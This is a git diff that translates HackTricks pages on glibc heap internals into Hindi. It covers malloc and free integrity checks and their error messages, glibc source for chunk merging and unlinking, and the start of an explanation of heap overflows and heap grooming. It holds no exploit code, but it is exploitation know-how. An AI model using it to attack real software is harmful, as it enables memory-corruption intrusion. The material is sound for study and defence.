- If the chunk is not marked as used (in the `prev_inuse` from the following chunk): `double free or corruption (!prev)`
|
||||
- If the next chunk has a too little size or too big: `free(): invalid next size (normal)`
|
||||
- if the previous chunk is not in use, it will try to consolidate. But, if the prev_size differs from the size indicated in the previous chunk: `corrupted size vs. prev_size while consolidating`
|
||||
- यदि चंक शीर्ष चंक है: `double free or corruption (top)`
|
||||
- यदि अगला चंक एरेना की सीमाओं के बाहर है: `double free or corruption (out)`
|
||||
- यदि चंक का उपयोग के रूप में चिह्नित नहीं है (अगले चंक के `prev_inuse` में): `double free or corruption (!prev)`
|
||||
- यदि अगला चंक बहुत छोटा या बहुत बड़ा है: `free(): invalid next size (normal)`
|
||||
- यदि पिछले चंक का उपयोग नहीं हो रहा है, तो यह समेकित करने की कोशिश करेगा। लेकिन, यदि prev_size पिछले चंक में निर्दिष्ट आकार से भिन्न है: `corrupted size vs. prev_size while consolidating`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>_int_free_merge_chunk code</summary>
|
||||
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4660C1-L4702C2
|
||||
|
||||
/* Try to merge chunk P of SIZE bytes with its neighbors. Put the
|
||||
resulting chunk on the appropriate bin list. P must not be on a
|
||||
bin list yet, and it can be in use. */
|
||||
resulting chunk on the appropriate bin list. P must not be on a
|
||||
bin list yet, and it can be in use. */
|
||||
static void
|
||||
_int_free_merge_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T size)
|
||||
{
|
||||
mchunkptr nextchunk = chunk_at_offset(p, size);
|
||||
mchunkptr nextchunk = chunk_at_offset(p, size);
|
||||
|
||||
/* Lightweight tests: check whether the block is already the
|
||||
top block. */
|
||||
if (__glibc_unlikely (p == av->top))
|
||||
malloc_printerr ("double free or corruption (top)");
|
||||
/* Or whether the next chunk is beyond the boundaries of the arena. */
|
||||
if (__builtin_expect (contiguous (av)
|
||||
&& (char *) nextchunk
|
||||
>= ((char *) av->top + chunksize(av->top)), 0))
|
||||
malloc_printerr ("double free or corruption (out)");
|
||||
/* Or whether the block is actually not marked used. */
|
||||
if (__glibc_unlikely (!prev_inuse(nextchunk)))
|
||||
malloc_printerr ("double free or corruption (!prev)");
|
||||
/* Lightweight tests: check whether the block is already the
|
||||
top block. */
|
||||
if (__glibc_unlikely (p == av->top))
|
||||
malloc_printerr ("double free or corruption (top)");
|
||||
/* Or whether the next chunk is beyond the boundaries of the arena. */
|
||||
if (__builtin_expect (contiguous (av)
|
||||
&& (char *) nextchunk
|
||||
>= ((char *) av->top + chunksize(av->top)), 0))
|
||||
malloc_printerr ("double free or corruption (out)");
|
||||
/* Or whether the block is actually not marked used. */
|
||||
if (__glibc_unlikely (!prev_inuse(nextchunk)))
|
||||
malloc_printerr ("double free or corruption (!prev)");
|
||||
|
||||
INTERNAL_SIZE_T nextsize = chunksize(nextchunk);
|
||||
if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0)
|
||||
|| __builtin_expect (nextsize >= av->system_mem, 0))
|
||||
malloc_printerr ("free(): invalid next size (normal)");
|
||||
INTERNAL_SIZE_T nextsize = chunksize(nextchunk);
|
||||
if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0)
|
||||
|| __builtin_expect (nextsize >= av->system_mem, 0))
|
||||
malloc_printerr ("free(): invalid next size (normal)");
|
||||
|
||||
free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
|
||||
free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
|
||||
|
||||
/* Consolidate backward. */
|
||||
if (!prev_inuse(p))
|
||||
{
|
||||
INTERNAL_SIZE_T prevsize = prev_size (p);
|
||||
size += prevsize;
|
||||
p = chunk_at_offset(p, -((long) prevsize));
|
||||
if (__glibc_unlikely (chunksize(p) != prevsize))
|
||||
malloc_printerr ("corrupted size vs. prev_size while consolidating");
|
||||
unlink_chunk (av, p);
|
||||
}
|
||||
/* Consolidate backward. */
|
||||
if (!prev_inuse(p))
|
||||
{
|
||||
INTERNAL_SIZE_T prevsize = prev_size (p);
|
||||
size += prevsize;
|
||||
p = chunk_at_offset(p, -((long) prevsize));
|
||||
if (__glibc_unlikely (chunksize(p) != prevsize))
|
||||
malloc_printerr ("corrupted size vs. prev_size while consolidating");
|
||||
unlink_chunk (av, p);
|
||||
}
|
||||
|
||||
/* Write the chunk header, maybe after merging with the following chunk. */
|
||||
size = _int_free_create_chunk (av, p, size, nextchunk, nextsize);
|
||||
_int_free_maybe_consolidate (av, size);
|
||||
/* Write the chunk header, maybe after merging with the following chunk. */
|
||||
size = _int_free_create_chunk (av, p, size, nextchunk, nextsize);
|
||||
_int_free_maybe_consolidate (av, size);
|
||||
}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,160 +4,160 @@
|
||||
|
||||
## unlink
|
||||
|
||||
For more info check:
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
unlink.md
|
||||
{{#endref}}
|
||||
|
||||
This is a summary of the performed checks:
|
||||
यह किए गए चेक का सारांश है:
|
||||
|
||||
- Check if the indicated size of the chunk is the same as the `prev_size` indicated in the next chunk
|
||||
- Error message: `corrupted size vs. prev_size`
|
||||
- Check also that `P->fd->bk == P` and `P->bk->fw == P`
|
||||
- Error message: `corrupted double-linked list`
|
||||
- If the chunk is not small, check that `P->fd_nextsize->bk_nextsize == P` and `P->bk_nextsize->fd_nextsize == P`
|
||||
- Error message: `corrupted double-linked list (not small)`
|
||||
- जांचें कि चंक का निर्दिष्ट आकार अगले चंक में निर्दिष्ट `prev_size` के समान है
|
||||
- त्रुटि संदेश: `corrupted size vs. prev_size`
|
||||
- यह भी जांचें कि `P->fd->bk == P` और `P->bk->fw == P`
|
||||
- त्रुटि संदेश: `corrupted double-linked list`
|
||||
- यदि चंक छोटा नहीं है, तो जांचें कि `P->fd_nextsize->bk_nextsize == P` और `P->bk_nextsize->fd_nextsize == P`
|
||||
- त्रुटि संदेश: `corrupted double-linked list (not small)`
|
||||
|
||||
## \_int_malloc
|
||||
|
||||
For more info check:
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
malloc-and-sysmalloc.md
|
||||
{{#endref}}
|
||||
|
||||
- **Checks during fast bin search:**
|
||||
- If the chunk is misaligned:
|
||||
- Error message: `malloc(): unaligned fastbin chunk detected 2`
|
||||
- If the forward chunk is misaligned:
|
||||
- Error message: `malloc(): unaligned fastbin chunk detected`
|
||||
- If the returned chunk has a size that isn't correct because of it's index in the fast bin:
|
||||
- Error message: `malloc(): memory corruption (fast)`
|
||||
- If any chunk used to fill the tcache is misaligned:
|
||||
- Error message: `malloc(): unaligned fastbin chunk detected 3`
|
||||
- **Checks during small bin search:**
|
||||
- If `victim->bk->fd != victim`:
|
||||
- Error message: `malloc(): smallbin double linked list corrupted`
|
||||
- **Checks during consolidate** performed for each fast bin chunk: 
|
||||
- If the chunk is unaligned trigger:
|
||||
- Error message: `malloc_consolidate(): unaligned fastbin chunk detected`
|
||||
- If the chunk has a different size that the one it should because of the index it's in:
|
||||
- Error message: `malloc_consolidate(): invalid chunk size`
|
||||
- If the previous chunk is not in use and the previous chunk has a size different of the one indicated by prev_chunk:
|
||||
- Error message: `corrupted size vs. prev_size in fastbins`
|
||||
- **Checks during unsorted bin search**:
|
||||
- If the chunk size is weird (too small or too big): 
|
||||
- Error message: `malloc(): invalid size (unsorted)`
|
||||
- If the next chunk size is weird (too small or too big):
|
||||
- Error message: `malloc(): invalid next size (unsorted)`
|
||||
- If the previous size indicated by the next chunk differs from the size of the chunk:
|
||||
- Error message: `malloc(): mismatching next->prev_size (unsorted)`
|
||||
- If not `victim->bck->fd == victim` or not `victim->fd == av (arena)`:
|
||||
- Error message: `malloc(): unsorted double linked list corrupted`
|
||||
- As we are always checking the las one, it's fd should be pointing always to the arena struct.
|
||||
- If the next chunk isn't indicating that the previous is in use:
|
||||
- Error message: `malloc(): invalid next->prev_inuse (unsorted)`
|
||||
- If `fwd->bk_nextsize->fd_nextsize != fwd`:
|
||||
- Error message: `malloc(): largebin double linked list corrupted (nextsize)`
|
||||
- If `fwd->bk->fd != fwd`:
|
||||
- Error message: `malloc(): largebin double linked list corrupted (bk)`
|
||||
- **Checks during large bin (by index) search:**
|
||||
- `bck->fd-> bk != bck`:
|
||||
- Error message: `malloc(): corrupted unsorted chunks`
|
||||
- **Checks during large bin (next bigger) search:**
|
||||
- `bck->fd-> bk != bck`:
|
||||
- Error message: `malloc(): corrupted unsorted chunks2`
|
||||
- **Checks during Top chunk use:**
|
||||
- `chunksize(av->top) > av->system_mem`:
|
||||
- Error message: `malloc(): corrupted top size`
|
||||
- **फास्ट बिन खोज के दौरान चेक:**
|
||||
- यदि चंक गलत संरेखित है:
|
||||
- त्रुटि संदेश: `malloc(): unaligned fastbin chunk detected 2`
|
||||
- यदि फॉरवर्ड चंक गलत संरेखित है:
|
||||
- त्रुटि संदेश: `malloc(): unaligned fastbin chunk detected`
|
||||
- यदि लौटाया गया चंक उसका इंडेक्स के कारण सही आकार नहीं है:
|
||||
- त्रुटि संदेश: `malloc(): memory corruption (fast)`
|
||||
- यदि tcache को भरने के लिए उपयोग किया गया कोई चंक गलत संरेखित है:
|
||||
- त्रुटि संदेश: `malloc(): unaligned fastbin chunk detected 3`
|
||||
- **छोटे बिन खोज के दौरान चेक:**
|
||||
- यदि `victim->bk->fd != victim`:
|
||||
- त्रुटि संदेश: `malloc(): smallbin double linked list corrupted`
|
||||
- **कंसोलिडेट के दौरान चेक** प्रत्येक फास्ट बिन चंक के लिए:
|
||||
- यदि चंक गलत संरेखित है:
|
||||
- त्रुटि संदेश: `malloc_consolidate(): unaligned fastbin chunk detected`
|
||||
- यदि चंक का आकार उस आकार से भिन्न है जो इसे होना चाहिए:
|
||||
- त्रुटि संदेश: `malloc_consolidate(): invalid chunk size`
|
||||
- यदि पिछले चंक का उपयोग नहीं हो रहा है और पिछले चंक का आकार `prev_chunk` द्वारा निर्दिष्ट आकार से भिन्न है:
|
||||
- त्रुटि संदेश: `corrupted size vs. prev_size in fastbins`
|
||||
- **अनसॉर्टेड बिन खोज के दौरान चेक:**
|
||||
- यदि चंक का आकार अजीब है (बहुत छोटा या बहुत बड़ा):
|
||||
- त्रुटि संदेश: `malloc(): invalid size (unsorted)`
|
||||
- यदि अगले चंक का आकार अजीब है (बहुत छोटा या बहुत बड़ा):
|
||||
- त्रुटि संदेश: `malloc(): invalid next size (unsorted)`
|
||||
- यदि अगले चंक द्वारा निर्दिष्ट पिछले आकार चंक के आकार से भिन्न है:
|
||||
- त्रुटि संदेश: `malloc(): mismatching next->prev_size (unsorted)`
|
||||
- यदि `victim->bck->fd == victim` या `victim->fd == av (arena)` नहीं है:
|
||||
- त्रुटि संदेश: `malloc(): unsorted double linked list corrupted`
|
||||
- चूंकि हम हमेशा अंतिम चंक की जांच कर रहे हैं, इसका fd हमेशा arena संरचना की ओर इशारा करना चाहिए।
|
||||
- यदि अगले चंक यह नहीं बता रहा है कि पिछले का उपयोग हो रहा है:
|
||||
- त्रुटि संदेश: `malloc(): invalid next->prev_inuse (unsorted)`
|
||||
- यदि `fwd->bk_nextsize->fd_nextsize != fwd`:
|
||||
- त्रुटि संदेश: `malloc(): largebin double linked list corrupted (nextsize)`
|
||||
- यदि `fwd->bk->fd != fwd`:
|
||||
- त्रुटि संदेश: `malloc(): largebin double linked list corrupted (bk)`
|
||||
- **लार्ज बिन (इंडेक्स द्वारा) खोज के दौरान चेक:**
|
||||
- `bck->fd-> bk != bck`:
|
||||
- त्रुटि संदेश: `malloc(): corrupted unsorted chunks`
|
||||
- **लार्ज बिन (अगले बड़े) खोज के दौरान चेक:**
|
||||
- `bck->fd-> bk != bck`:
|
||||
- त्रुटि संदेश: `malloc(): corrupted unsorted chunks2`
|
||||
- **टॉप चंक उपयोग के दौरान चेक:**
|
||||
- `chunksize(av->top) > av->system_mem`:
|
||||
- त्रुटि संदेश: `malloc(): corrupted top size`
|
||||
|
||||
## `tcache_get_n`
|
||||
|
||||
- **Checks in `tcache_get_n`:**
|
||||
- If chunk is misaligned:
|
||||
- Error message: `malloc(): unaligned tcache chunk detected`
|
||||
- **`tcache_get_n` में चेक:**
|
||||
- यदि चंक गलत संरेखित है:
|
||||
- त्रुटि संदेश: `malloc(): unaligned tcache chunk detected`
|
||||
|
||||
## `tcache_thread_shutdown`
|
||||
|
||||
- **Checks in `tcache_thread_shutdown`:**
|
||||
- If chunk is misaligned:
|
||||
- Error message: `tcache_thread_shutdown(): unaligned tcache chunk detected`
|
||||
- **`tcache_thread_shutdown` में चेक:**
|
||||
- यदि चंक गलत संरेखित है:
|
||||
- त्रुटि संदेश: `tcache_thread_shutdown(): unaligned tcache chunk detected`
|
||||
|
||||
## `__libc_realloc`
|
||||
|
||||
- **Checks in `__libc_realloc`:**
|
||||
- If old pointer is misaligned or the size was incorrect:
|
||||
- Error message: `realloc(): invalid pointer`
|
||||
- **`__libc_realloc` में चेक:**
|
||||
- यदि पुराना पॉइंटर गलत संरेखित है या आकार गलत था:
|
||||
- त्रुटि संदेश: `realloc(): invalid pointer`
|
||||
|
||||
## `_int_free`
|
||||
|
||||
For more info check:
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
free.md
|
||||
{{#endref}}
|
||||
|
||||
- **Checks during the start of `_int_free`:**
|
||||
- Pointer is aligned:
|
||||
- Error message: `free(): invalid pointer`
|
||||
- Size larger than `MINSIZE` and size also aligned:
|
||||
- Error message: `free(): invalid size`
|
||||
- **Checks in `_int_free` tcache:**
|
||||
- If there are more entries than `mp_.tcache_count`:
|
||||
- Error message: `free(): too many chunks detected in tcache`
|
||||
- If the entry is not aligned:
|
||||
- Error message: `free(): unaligned chunk detected in tcache 2`
|
||||
- If the freed chunk was already freed and is present as chunk in the tcache:
|
||||
- Error message: `free(): double free detected in tcache 2`
|
||||
- **Checks in `_int_free` fast bin:**
|
||||
- If the size of the chunk is invalid (too big or small) trigger:
|
||||
- Error message: `free(): invalid next size (fast)`
|
||||
- If the added chunk was already the top of the fast bin:
|
||||
- Error message: `double free or corruption (fasttop)`
|
||||
- If the size of the chunk at the top has a different size of the chunk we are adding:
|
||||
- Error message: `invalid fastbin entry (free)`
|
||||
- **`_int_free` की शुरुआत में चेक:**
|
||||
- पॉइंटर संरेखित है:
|
||||
- त्रुटि संदेश: `free(): invalid pointer`
|
||||
- आकार `MINSIZE` से बड़ा और आकार भी संरेखित है:
|
||||
- त्रुटि संदेश: `free(): invalid size`
|
||||
- **`_int_free` tcache में चेक:**
|
||||
- यदि `mp_.tcache_count` से अधिक प्रविष्टियाँ हैं:
|
||||
- त्रुटि संदेश: `free(): too many chunks detected in tcache`
|
||||
- यदि प्रविष्टि संरेखित नहीं है:
|
||||
- त्रुटि संदेश: `free(): unaligned chunk detected in tcache 2`
|
||||
- यदि मुक्त चंक पहले से ही मुक्त किया गया था और tcache में चंक के रूप में मौजूद है:
|
||||
- त्रुटि संदेश: `free(): double free detected in tcache 2`
|
||||
- **`_int_free` फास्ट बिन में चेक:**
|
||||
- यदि चंक का आकार अमान्य है (बहुत बड़ा या छोटा) ट्रिगर:
|
||||
- त्रुटि संदेश: `free(): invalid next size (fast)`
|
||||
- यदि जोड़ा गया चंक पहले से ही फास्ट बिन का शीर्ष था:
|
||||
- त्रुटि संदेश: `double free or corruption (fasttop)`
|
||||
- यदि शीर्ष पर चंक का आकार उस चंक के आकार से भिन्न है जिसे हम जोड़ रहे हैं:
|
||||
- त्रुटि संदेश: `invalid fastbin entry (free)`
|
||||
|
||||
## **`_int_free_merge_chunk`**
|
||||
|
||||
- **Checks in `_int_free_merge_chunk`:**
|
||||
- If the chunk is the top chunk:
|
||||
- Error message: `double free or corruption (top)`
|
||||
- If the next chunk is outside of the boundaries of the arena:
|
||||
- Error message: `double free or corruption (out)`
|
||||
- If the chunk is not marked as used (in the prev_inuse from the following chunk):
|
||||
- Error message: `double free or corruption (!prev)`
|
||||
- If the next chunk has a too little size or too big:
|
||||
- Error message: `free(): invalid next size (normal)`
|
||||
- If the previous chunk is not in use, it will try to consolidate. But, if the `prev_size` differs from the size indicated in the previous chunk:
|
||||
- Error message: `corrupted size vs. prev_size while consolidating`
|
||||
- **`_int_free_merge_chunk` में चेक:**
|
||||
- यदि चंक शीर्ष चंक है:
|
||||
- त्रुटि संदेश: `double free or corruption (top)`
|
||||
- यदि अगला चंक एरेना की सीमाओं के बाहर है:
|
||||
- त्रुटि संदेश: `double free or corruption (out)`
|
||||
- यदि चंक को उपयोग के रूप में चिह्नित नहीं किया गया है (अगले चंक के prev_inuse में):
|
||||
- त्रुटि संदेश: `double free or corruption (!prev)`
|
||||
- यदि अगले चंक का आकार बहुत छोटा या बहुत बड़ा है:
|
||||
- त्रुटि संदेश: `free(): invalid next size (normal)`
|
||||
- यदि पिछले चंक का उपयोग नहीं हो रहा है, तो यह कंसोलिडेट करने की कोशिश करेगा। लेकिन, यदि `prev_size` पिछले चंक में निर्दिष्ट आकार से भिन्न है:
|
||||
- त्रुटि संदेश: `corrupted size vs. prev_size while consolidating`
|
||||
|
||||
## **`_int_free_create_chunk`**
|
||||
|
||||
- **Checks in `_int_free_create_chunk`:**
|
||||
- Adding a chunk into the unsorted bin, check if `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`:
|
||||
- Error message: `free(): corrupted unsorted chunks`
|
||||
- **`_int_free_create_chunk` में चेक:**
|
||||
- अनसॉर्टेड बिन में चंक जोड़ते समय, जांचें कि `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`:
|
||||
- त्रुटि संदेश: `free(): corrupted unsorted chunks`
|
||||
|
||||
## `do_check_malloc_state`
|
||||
|
||||
- **Checks in `do_check_malloc_state`:**
|
||||
- If misaligned fast bin chunk:
|
||||
- Error message: `do_check_malloc_state(): unaligned fastbin chunk detected`
|
||||
- **`do_check_malloc_state` में चेक:**
|
||||
- यदि गलत संरेखित फास्ट बिन चंक:
|
||||
- त्रुटि संदेश: `do_check_malloc_state(): unaligned fastbin chunk detected`
|
||||
|
||||
## `malloc_consolidate`
|
||||
|
||||
- **Checks in `malloc_consolidate`:**
|
||||
- If misaligned fast bin chunk:
|
||||
- Error message: `malloc_consolidate(): unaligned fastbin chunk detected`
|
||||
- If incorrect fast bin chunk size:
|
||||
- Error message: `malloc_consolidate(): invalid chunk size`
|
||||
- **`malloc_consolidate` में चेक:**
|
||||
- यदि गलत संरेखित फास्ट बिन चंक:
|
||||
- त्रुटि संदेश: `malloc_consolidate(): unaligned fastbin chunk detected`
|
||||
- यदि गलत फास्ट बिन चंक आकार:
|
||||
- त्रुटि संदेश: `malloc_consolidate(): invalid chunk size`
|
||||
|
||||
## `_int_realloc`
|
||||
|
||||
- **Checks in `_int_realloc`:**
|
||||
- Size is too big or too small:
|
||||
- Error message: `realloc(): invalid old size`
|
||||
- Size of the next chunk is too big or too small:
|
||||
- Error message: `realloc(): invalid next size`
|
||||
- **`_int_realloc` में चेक:**
|
||||
- आकार बहुत बड़ा या बहुत छोटा है:
|
||||
- त्रुटि संदेश: `realloc(): invalid old size`
|
||||
- अगले चंक का आकार बहुत बड़ा या बहुत छोटा है:
|
||||
- त्रुटि संदेश: `realloc(): invalid next size`
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@ -2,8 +2,7 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Code
|
||||
|
||||
### कोड
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
|
||||
|
||||
@ -11,60 +10,59 @@
|
||||
static void
|
||||
unlink_chunk (mstate av, mchunkptr p)
|
||||
{
|
||||
if (chunksize (p) != prev_size (next_chunk (p)))
|
||||
malloc_printerr ("corrupted size vs. prev_size");
|
||||
if (chunksize (p) != prev_size (next_chunk (p)))
|
||||
malloc_printerr ("corrupted size vs. prev_size");
|
||||
|
||||
mchunkptr fd = p->fd;
|
||||
mchunkptr bk = p->bk;
|
||||
mchunkptr fd = p->fd;
|
||||
mchunkptr bk = p->bk;
|
||||
|
||||
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
|
||||
malloc_printerr ("corrupted double-linked list");
|
||||
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
|
||||
malloc_printerr ("corrupted double-linked list");
|
||||
|
||||
fd->bk = bk;
|
||||
bk->fd = fd;
|
||||
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
|
||||
{
|
||||
if (p->fd_nextsize->bk_nextsize != p
|
||||
|| p->bk_nextsize->fd_nextsize != p)
|
||||
malloc_printerr ("corrupted double-linked list (not small)");
|
||||
fd->bk = bk;
|
||||
bk->fd = fd;
|
||||
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
|
||||
{
|
||||
if (p->fd_nextsize->bk_nextsize != p
|
||||
|| p->bk_nextsize->fd_nextsize != p)
|
||||
malloc_printerr ("corrupted double-linked list (not small)");
|
||||
|
||||
// Added: If the FD is not in the nextsize list
|
||||
if (fd->fd_nextsize == NULL)
|
||||
{
|
||||
// Added: If the FD is not in the nextsize list
|
||||
if (fd->fd_nextsize == NULL)
|
||||
{
|
||||
|
||||
if (p->fd_nextsize == p)
|
||||
fd->fd_nextsize = fd->bk_nextsize = fd;
|
||||
else
|
||||
// Link the nexsize list in when removing the new chunk
|
||||
{
|
||||
fd->fd_nextsize = p->fd_nextsize;
|
||||
fd->bk_nextsize = p->bk_nextsize;
|
||||
p->fd_nextsize->bk_nextsize = fd;
|
||||
p->bk_nextsize->fd_nextsize = fd;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
|
||||
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
|
||||
}
|
||||
}
|
||||
if (p->fd_nextsize == p)
|
||||
fd->fd_nextsize = fd->bk_nextsize = fd;
|
||||
else
|
||||
// Link the nexsize list in when removing the new chunk
|
||||
{
|
||||
fd->fd_nextsize = p->fd_nextsize;
|
||||
fd->bk_nextsize = p->bk_nextsize;
|
||||
p->fd_nextsize->bk_nextsize = fd;
|
||||
p->bk_nextsize->fd_nextsize = fd;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
|
||||
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Graphical Explanation
|
||||
### ग्राफिकल व्याख्या
|
||||
|
||||
Check this great graphical explanation of the unlink process:
|
||||
|
||||
<figure><img src="../../../images/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
|
||||
|
||||
### Security Checks
|
||||
### सुरक्षा जांच
|
||||
|
||||
- Check if the indicated size of the chunk is the same as the prev_size indicated in the next chunk
|
||||
- Check also that `P->fd->bk == P` and `P->bk->fw == P`
|
||||
- If the chunk is not small, check that `P->fd_nextsize->bk_nextsize == P` and `P->bk_nextsize->fd_nextsize == P`
|
||||
|
||||
### Leaks
|
||||
### लीक
|
||||
|
||||
An unlinked chunk is not cleaning the allocated addreses, so having access to rad it, it's possible to leak some interesting addresses:
|
||||
|
||||
|
||||
@ -4,47 +4,45 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
A heap overflow is like a [**stack overflow**](../stack-overflow/) but in the heap. Basically it means that some space was reserved in the heap to store some data and **stored data was bigger than the space reserved.**
|
||||
Heap overflow एक [**stack overflow**](../stack-overflow/) की तरह है लेकिन heap में। मूल रूप से इसका मतलब है कि heap में कुछ डेटा स्टोर करने के लिए कुछ स्थान आरक्षित किया गया था और **स्टोर किया गया डेटा आरक्षित स्थान से बड़ा था।**
|
||||
|
||||
In stack overflows we know that some registers like the instruction pointer or the stack frame are going to be restored from the stack and it could be possible to abuse this. In case of heap overflows, there **isn't any sensitive information stored by default** in the heap chunk that can be overflowed. However, it could be sensitive information or pointers, so the **criticality** of this vulnerability **depends** on **which data could be overwritten** and how an attacker could abuse this.
|
||||
Stack overflows में हम जानते हैं कि कुछ रजिस्टर जैसे कि इंस्ट्रक्शन पॉइंटर या स्टैक फ्रेम को स्टैक से पुनर्स्थापित किया जाएगा और इसे दुरुपयोग करना संभव हो सकता है। Heap overflows के मामले में, **डिफ़ॉल्ट रूप से heap chunk में कोई संवेदनशील जानकारी स्टोर नहीं की गई है** जिसे ओवरफ्लो किया जा सके। हालाँकि, यह संवेदनशील जानकारी या पॉइंटर्स हो सकती है, इसलिए इस भेद्यता की **गंभीरता** **इस पर निर्भर करती है कि** **कौन सा डेटा ओवरराइट किया जा सकता है** और एक हमलावर इसे कैसे दुरुपयोग कर सकता है।
|
||||
|
||||
> [!TIP]
|
||||
> In order to find overflow offsets you can use the same patterns as in [**stack overflows**](../stack-overflow/#finding-stack-overflows-offsets).
|
||||
> ओवरफ्लो ऑफसेट खोजने के लिए आप [**stack overflows**](../stack-overflow/#finding-stack-overflows-offsets) में समान पैटर्न का उपयोग कर सकते हैं।
|
||||
|
||||
### Stack Overflows vs Heap Overflows
|
||||
|
||||
In stack overflows the arranging and data that is going to be present in the stack at the moment the vulnerability can be triggered is fairly reliable. This is because the stack is linear, always increasing in colliding memory, in **specific places of the program run the stack memory usually stores similar kind of data** and it has some specific structure with some pointers at the end of the stack part used by each function.
|
||||
Stack overflows में उस समय स्टैक में मौजूद डेटा और व्यवस्था जब भेद्यता को सक्रिय किया जा सकता है, काफी विश्वसनीय होती है। इसका कारण यह है कि स्टैक रैखिक है, हमेशा टकराते मेमोरी में बढ़ता है, **कार्यक्रम के चलने के विशिष्ट स्थानों पर स्टैक मेमोरी आमतौर पर समान प्रकार के डेटा को स्टोर करती है** और इसमें प्रत्येक फ़ंक्शन द्वारा उपयोग किए जाने वाले स्टैक भाग के अंत में कुछ पॉइंटर्स के साथ कुछ विशिष्ट संरचना होती है।
|
||||
|
||||
However, in the case of a heap overflow, the used memory isn’t linear but **allocated chunks are usually in separated positions of memory** (not one next to the other) because of **bins and zones** separating allocations by size and because **previous freed memory is used** before allocating new chunks. It’s **complicated to know the object that is going to be colliding with the one vulnerable** to a heap overflow. So, when a heap overflow is found, it’s needed to find a **reliable way to make the desired object to be next in memory** from the one that can be overflowed.
|
||||
हालांकि, heap overflow के मामले में, उपयोग की गई मेमोरी रैखिक नहीं होती है बल्कि **आरक्षित चंक्स आमतौर पर मेमोरी के अलग-अलग स्थानों में होती हैं** (एक के बगल में नहीं) क्योंकि **बिन और ज़ोन** आकार के अनुसार आवंटन को अलग करते हैं और क्योंकि **पिछली मुक्त मेमोरी का उपयोग किया जाता है** नए चंक्स को आवंटित करने से पहले। यह **जानना जटिल है कि कौन सा ऑब्जेक्ट उस ऑब्जेक्ट के साथ टकराने वाला है** जो heap overflow के लिए संवेदनशील है। इसलिए, जब एक heap overflow पाया जाता है, तो यह आवश्यक है कि **वांछित ऑब्जेक्ट को मेमोरी में अगले स्थान पर लाने का एक विश्वसनीय तरीका खोजा जाए** जो ओवरफ्लो किया जा सकता है।
|
||||
|
||||
One of the techniques used for this is **Heap Grooming** which is used for example [**in this post**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). In the post it’s explained how when in iOS kernel when a zone run out of memory to store chunks of memory, it expands it by a kernel page, and this page is splitted into chunks of the expected sizes which would be used in order (until iOS version 9.2, then these chunks are used in a randomised way to difficult the exploitation of these attacks).
|
||||
इसका एक तकनीक **Heap Grooming** है जिसका उपयोग उदाहरण के लिए [**इस पोस्ट में**](https://azeria-labs.com/grooming-the-ios-kernel-heap/) किया गया है। पोस्ट में यह समझाया गया है कि जब iOS कर्नेल में एक ज़ोन में मेमोरी खत्म हो जाती है, तो यह इसे एक कर्नेल पृष्ठ द्वारा बढ़ाता है, और यह पृष्ठ अपेक्षित आकार के चंक्स में विभाजित होता है जो क्रम में उपयोग किए जाएंगे (iOS संस्करण 9.2 तक, फिर ये चंक्स यादृच्छिक तरीके से उपयोग किए जाते हैं ताकि इन हमलों के शोषण को कठिन बनाया जा सके)।
|
||||
|
||||
Therefore, in the previous post where a heap overflow is happening, in order to force the overflowed object to be colliding with a victim order, several **`kallocs` are forced by several threads to try to ensure that all the free chunks are filled and that a new page is created**.
|
||||
इसलिए, पिछले पोस्ट में जहां heap overflow हो रहा है, ओवरफ्लो किए गए ऑब्जेक्ट को एक पीड़ित ऑर्डर के साथ टकराने के लिए, कई **`kallocs` को कई थ्रेड्स द्वारा मजबूर किया जाता है ताकि यह सुनिश्चित किया जा सके कि सभी मुक्त चंक्स भरे हुए हैं और एक नया पृष्ठ बनाया गया है**।
|
||||
|
||||
In order to force this filling with objects of a specific size, the **out-of-line allocation associated with an iOS mach port** is an ideal candidate. By crafting the size of the message, it’s possible to exactly specify the size of `kalloc` allocation and when the corresponding mach port is destroyed, the corresponding allocation will be immediately released back to `kfree`.
|
||||
